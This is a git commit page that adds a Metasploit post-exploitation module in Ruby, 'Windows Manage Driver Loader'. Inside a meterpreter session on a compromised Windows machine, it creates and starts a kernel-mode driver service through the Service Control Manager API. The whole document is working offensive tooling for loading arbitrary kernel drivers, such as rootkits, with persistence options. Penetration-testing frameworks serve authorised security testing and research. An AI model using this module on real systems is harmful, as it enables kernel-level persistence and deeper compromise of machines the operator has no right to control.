added driver_loaded post meterpreter module
parent
df7a244c6c
commit
f185c2deb1
|
@ -0,0 +1,181 @@
|
||||||
|
##
|
||||||
|
# This module requires Metasploit: http//metasploit.com/download
|
||||||
|
# Current source: https://github.com/rapid7/metasploit-framework
|
||||||
|
##
|
||||||
|
|
||||||
|
class Metasploit3 < Msf::Post
|
||||||
|
|
||||||
|
include Msf::Post::File
|
||||||
|
include Msf::Post::Windows::Priv
|
||||||
|
include Msf::Post::Windows::Registry
|
||||||
|
|
||||||
|
def initialize(info={})
|
||||||
|
super( update_info( info,
|
||||||
|
'Name' => 'Windows Manage Driver Loader',
|
||||||
|
'Description' => %q{
|
||||||
|
This module loads a KMD using the Windows Service API.
|
||||||
|
},
|
||||||
|
'License' => MSF_LICENSE,
|
||||||
|
'Author' => 'Borja Merino <bmerinofe[at]gmail.com>',
|
||||||
|
'Platform' => 'windows',
|
||||||
|
'SessionTypes' => [ 'meterpreter' ]
|
||||||
|
))
|
||||||
|
|
||||||
|
register_options(
|
||||||
|
[
|
||||||
|
OptString.new('DRIVER_PATH', [true, 'Relative driver path to %SYSTEMROOT%. For example, system32\drivers\msf.sys']),
|
||||||
|
OptString.new('DRIVER_NAME', [true, 'Driver Name.']),
|
||||||
|
OptEnum.new('START_TYPE', [true, 'Start type.', 'auto', [ 'boot', 'system', 'auto', 'demand','disabled']]),
|
||||||
|
OptEnum.new('SERVICE_TYPE', [true, 'Service type.', 'kernel', [ 'kernel', 'file_system', 'adapter', 'recognizer']]),
|
||||||
|
OptEnum.new('ERROR_TYPE', [true, 'Error type.', 'ignore', [ 'ignore', 'normal', 'severe', 'critical']])
|
||||||
|
], self.class)
|
||||||
|
end
|
||||||
|
|
||||||
|
def run
|
||||||
|
driver = datastore['DRIVER_PATH']
|
||||||
|
start = datastore['START_TYPE']
|
||||||
|
error = datastore['ERROR_TYPE']
|
||||||
|
service = datastore['SERVICE_TYPE']
|
||||||
|
name = datastore['DRIVER_NAME']
|
||||||
|
|
||||||
|
unless is_admin?
|
||||||
|
print_error("You don't have enough privileges. Try getsystem.")
|
||||||
|
return
|
||||||
|
end
|
||||||
|
|
||||||
|
full_path = expand_path("%SYSTEMROOT%") << "\\" << driver
|
||||||
|
|
||||||
|
unless file_exist?(full_path)
|
||||||
|
print_error("Driver #{full_path} does not exist.")
|
||||||
|
return
|
||||||
|
end
|
||||||
|
|
||||||
|
install_driver(driver,start,name,error,service)
|
||||||
|
end
|
||||||
|
|
||||||
|
def install_driver(driver,start,name,error,service)
|
||||||
|
sc_manager_all_access = 0xF003F
|
||||||
|
service_all_access = 0xF01FF
|
||||||
|
error_service_exists = 0x431
|
||||||
|
service_type = get_service_const(service)
|
||||||
|
service_error_type = get_error_const(error)
|
||||||
|
service_start_type = get_start_const(start)
|
||||||
|
advapi32 = client.railgun.advapi32
|
||||||
|
|
||||||
|
# SC_HANDLE WINAPI OpenSCManager(
|
||||||
|
# _In_opt_ LPCTSTR lpMachineName,
|
||||||
|
# _In_opt_ LPCTSTR lpDatabaseName,
|
||||||
|
# _In_ DWORD dwDesiredAccess
|
||||||
|
#);
|
||||||
|
|
||||||
|
ro = advapi32.OpenSCManagerA(nil, nil, sc_manager_all_access)
|
||||||
|
|
||||||
|
if ro['GetLastError'] == 0
|
||||||
|
print_status("Service Control Manager opened successfully.")
|
||||||
|
else
|
||||||
|
print_error("There was an error opening the Service Control Manager. GetLastError=#{ro['GetLastError']}.")
|
||||||
|
return
|
||||||
|
end
|
||||||
|
|
||||||
|
# SC_HANDLE WINAPI CreateService(
|
||||||
|
# _In_ SC_HANDLE hSCManager,
|
||||||
|
# _In_ LPCTSTR lpServiceName,
|
||||||
|
# _In_opt_ LPCTSTR lpDisplayName,
|
||||||
|
# _In_ DWORD dwDesiredAccess,
|
||||||
|
# _In_ DWORD dwServiceType,
|
||||||
|
# _In_ DWORD dwStartType,
|
||||||
|
# _In_ DWORD dwErrorControl,
|
||||||
|
# _In_opt_ LPCTSTR lpBinaryPathName,
|
||||||
|
|
||||||
|
# _In_opt_ LPCTSTR lpLoadOrderGroup,
|
||||||
|
# _Out_opt_ LPDWORD lpdwTagId,
|
||||||
|
# _In_opt_ LPCTSTR lpDependencies,
|
||||||
|
# _In_opt_ LPCTSTR lpServiceStartName,
|
||||||
|
# _In_opt_ LPCTSTR lpPassword
|
||||||
|
# );
|
||||||
|
|
||||||
|
rc = advapi32.CreateServiceA(ro['return'], name, name, service_all_access, service_type, service_start_type, service_error_type, driver, nil, nil, nil, nil, nil)
|
||||||
|
|
||||||
|
if rc['GetLastError'] == 0
|
||||||
|
print_status("Service object added to the Service Control Manager database.")
|
||||||
|
load_driver(advapi32, rc['return'])
|
||||||
|
advapi32.CloseServiceHandle(rc['return'])
|
||||||
|
elsif rc['GetLastError'] == error_service_exists
|
||||||
|
print_error("The specified service already exists.")
|
||||||
|
# Just to know if the service corresponds to the same driver or not.
|
||||||
|
show_path_driver(name)
|
||||||
|
else
|
||||||
|
print_error("There was an error opening the driver handler. GetLastError=#{rc['GetLastError']}.")
|
||||||
|
end
|
||||||
|
advapi32.CloseServiceHandle(ro['return'])
|
||||||
|
end
|
||||||
|
|
||||||
|
def load_driver(advapi32,handler)
|
||||||
|
error_service_already_running = 0x420
|
||||||
|
|
||||||
|
# BOOL WINAPI StartService(
|
||||||
|
# _In_ SC_HANDLE hService,
|
||||||
|
# _In_ DWORD dwNumServiceArgs,
|
||||||
|
# _In_opt_ LPCTSTR *lpServiceArgVectors
|
||||||
|
# );
|
||||||
|
|
||||||
|
rs = advapi32.StartServiceA(handler,0,nil)
|
||||||
|
|
||||||
|
if rs['GetLastError'] == 0
|
||||||
|
print_good("Driver loaded successfully.")
|
||||||
|
elsif rs['GetLastError'] == error_service_already_running
|
||||||
|
print_error("Service already running.")
|
||||||
|
else
|
||||||
|
print_error("There was an error loading the driver. GetLastError=#{rs['GetLastError']}.")
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
def show_path_driver(name)
|
||||||
|
key = "HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\services\\" << name
|
||||||
|
begin
|
||||||
|
service = registry_enumvals(key)
|
||||||
|
service.each do |s|
|
||||||
|
next unless s == "ImagePath"
|
||||||
|
value_path = registry_getvaldata(key,s)
|
||||||
|
print_error("Path of driver file in \"#{name}\" service: #{value_path}")
|
||||||
|
break
|
||||||
|
end
|
||||||
|
rescue ::RuntimeError, Rex::TimeoutError
|
||||||
|
return
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
def get_start_const(type)
|
||||||
|
const_type = {
|
||||||
|
"demand" => 0x00000003,
|
||||||
|
"boot" => 0x00000000,
|
||||||
|
"auto" => 0x00000002,
|
||||||
|
"disabled" => 0x00000004,
|
||||||
|
"system" => 0x00000001
|
||||||
|
}
|
||||||
|
|
||||||
|
return const_type[type]
|
||||||
|
end
|
||||||
|
|
||||||
|
def get_error_const(type)
|
||||||
|
const_type = {
|
||||||
|
"critical" => 0x00000003,
|
||||||
|
"normal" => 0x00000001,
|
||||||
|
"severe" => 0x00000002,
|
||||||
|
"ignore" => 0x00000000
|
||||||
|
}
|
||||||
|
|
||||||
|
return const_type[type]
|
||||||
|
end
|
||||||
|
|
||||||
|
def get_service_const(type)
|
||||||
|
const_type = {
|
||||||
|
"kernel" => 0x00000001,
|
||||||
|
"file_system" => 0x00000002,
|
||||||
|
"adapter" => 0x00000004,
|
||||||
|
"recognizer" => 0x00000008
|
||||||
|
}
|
||||||
|
|
||||||
|
return const_type[type]
|
||||||
|
end
|
||||||
|
end
|
Loading…
Reference in New Issue